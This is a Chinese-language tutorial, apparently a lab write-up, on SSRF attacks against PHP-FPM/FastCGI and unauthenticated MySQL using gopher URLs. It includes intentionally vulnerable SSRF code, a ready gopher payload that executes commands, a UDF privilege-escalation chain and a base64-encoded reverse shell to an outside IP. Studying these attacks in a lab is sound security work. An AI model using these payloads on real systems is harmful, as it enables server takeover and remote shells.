SSRF攻击FastCGI执行命令

FastCGI与PHP-FPM

FastCGI

快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。

浏览器访问静态网页过程

在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。

浏览器访问动态网页过程

当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。

当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

php-fpm

了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

PHP-FPM攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

环境搭建

安装环境与依赖

这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx

sudo apt-get install nginx

安装php、php-fpm以及一些插件

sudo apt-get install software-properties-common python-software-properties 
sudo add-apt-repository ppa:ondrej/php          #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo apt-get -y install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml  php7.2-intl 

配置php-fpm

修改配置监听9000端口来处理nginx的请求

打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行

;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000
注:这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。

下面修改权限

chmod 777 /run/php/php7.2-fpm.sock

打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置

server {
    listen       80; #监听80端口,接收http请求
    server_name  hacktop.com; #就是网站地址
    root /usr/share/nginx/html/; # 准备存放代码工程的路径
    #路由到网站根目录www.example.com时候的处理
    location / {
        index index.php; #跳转到 hacktop.com/index.php
        autoindex on;
    }  
    #当请求网站下php文件的时候,反向代理到php-fpm
   location ~ \.php$ {
            root html;
            fastcgi_split_path_info ^(.+\.php)(/.+)$;
            fastcgi_pass        127.0.0.1:9000;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            fastcgi_index       index.php;
            include             fastcgi_params;
        }
}

启动环境

配置完成后查看一下php-fpm的安装位置,然后启动

image-20211201132107539

重新启动Nginx

sudo systemctl restart nginx

然后检查nginx是否正确启动 systemctl status nginx

image-20211201132738682

检查php-fpm是否正确启动 ps -elf | grep php-fpm

image-20211201132859864

这里就可以看出上面所说的存在一个master进程和多个worker进程

下面将/usr/share/nginx/html/(nginx Web目录)下的文件删除,新建一个index.php。

内容可以写上用来检查各项是否正常运行,如果页面为空,查看这篇文章解决。

image-20211201133404402

其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为

 
    highlight_file(__FILE__);
    $url = $_REQUEST['url'];
    $curl = curl_init($url);    
    //第二种初始化curl的方式
    //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); 

    /*进行curl配置*/
    curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
    $responseText = curl_exec($curl);
    //var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容

    echo $responseText;
    curl_close($curl);
?>

该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com进行测试,若能实现跳转到百度的页面,或包含百度的页面即SSRF环境搭建成功

image-20211201133950257

漏洞利用

在这里就直接使用Gopherus生成payload

image-20211201134731583

对生成的payload再次进行URL编码,放入URL参数浏览器请求如下

http://hacktop.com/ssrf.php?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250C%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/usr/share/nginx/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

成功执行命令

image-20211201135040353

SSRF利用MySQL未授权攻击

MySQL通信协议

MySQL连接方式

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

•Unix套接字

•内存共享/命名管道

•TCP/IP套接字

•在Linux或者Unix环境下,当我们输入mysql –uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。

•在Windows系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。

•TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。

漏洞利用-查询数据库

实验环境:

系统:Ubuntu 20.04.3 LTS

数据库:MariaDB 10.3.31

(mysql没有实验成功,可能是版本的问题)

配置空密码用户

首先我们需要配置一个空密码的用户

# 创建用户
CREATE USER 'admin'@'localhost';
# 授予权限
GRANTUSAGE ON *.* TO 'admin'@'localhost';
# 刷新权限表
flush privileges;

抓取MySQL数据包

首先,开一个窗口,tcpdump -i lo port 3306 -w mysql.pcapng,开始抓取3306的数据包。

image-20211201210243808

然后在另一个窗口,开启MySQL终端,查询一些信息。最后记得exit;,不然会出问题。

image-20211201213500304

中止 tcpdump 使用 Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流

image-20211201214035748

然后提取request包,并且显示为原始数据(Raw)

image-20211201214415615

将其整理成 1 行

bd00000184a6bf20000000012d000000000000000000000000000000000000000d00000061646d696e00006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640534313534390f5f636c69656e745f76657273696f6e06332e312e3134095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290600000002666c6167730f0000000373686f77206461746162617365730c0000000373686f77207461626c65730600000004666c616700130000000373656c656374202a2066726f6d20666c61670100000001

生成 gopher 数据流

然后使用如下的 Python3 脚本将数据转化为 url 编码:

import sys

def results(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
    s=sys.argv[1]
    print(results(s))

image-20211201215230891

本地 curl 请求这个 gopher 协议的数据包看看

image-20211201215553354

将生成的payload再进行URL编码,结合SSRF漏洞进行利用

image-20211201215924201

漏洞利用-UDF提权

提权前需要注意:
•mysql(mariadb)必须使用root用户启动(不通过service或者systemctl)
secure_file_priv变量的值需要为空

寻找插件目录

首先来寻找 MySQL 的插件目录,原生的 MySQL 命令如下:

$ mysql -h127.0.0.1 -uadmin -e "show variables like '%plugin%';"

然后tcpdump 监听,使用 Wirshark 分析导出原始数据。这里为了方便就直接查询了,步骤和上面是一样的。

image-20211202124657883

写入动态链接库

拿到 MySQL 的插件目录为:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

接着来写入动态链接库,原生的 MySQL 命令如下:

# 因为 payload 太长 这里就先进入 MySQL 控制台
$ mysql -h127.0.0.1 -uroot

MariaDB [(none)]> SELECT 0x7f454c4602...(省略大量payload)...0000000 INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udf.so';
关于 UDF 提权的 UDF 命令,推荐参考国光大佬的这个 UDF 提权辅助页面:
https://www.sqlsec.com/tools/udf.html

tcpdump 监听到的原始数据后,转换 gopher 协议,URL编码后,SSRF 攻击写入动态链接库。

image-20211202125541235

可以看到udf.so 已经成功写入到 MySQL 的插件目录下了

image-20211202125633560

以此类推,创建自定义函数:

$ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"

最后通过创建的自定义函数并执行系统命令将 shell 弹出来,原生命令如下:

$ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')"

测试过程中默认情况下弹不出来,所以这里将原始的 bash 反弹 shell 命令给编码了:


image-20211202134310277

这里使用的是国光大佬的命令执行辅助工具:
https://www.sqlsec.com/tools.html

tcpdump 监听到的原始数据后,转换 gopher 协议,URL二次编码请求一下,然后 SSRF 攻击成功弹出 shell。

image-20211202135909572

上述payload,除了写入动态链接库外,其他的都可以使用Gopherus工具生成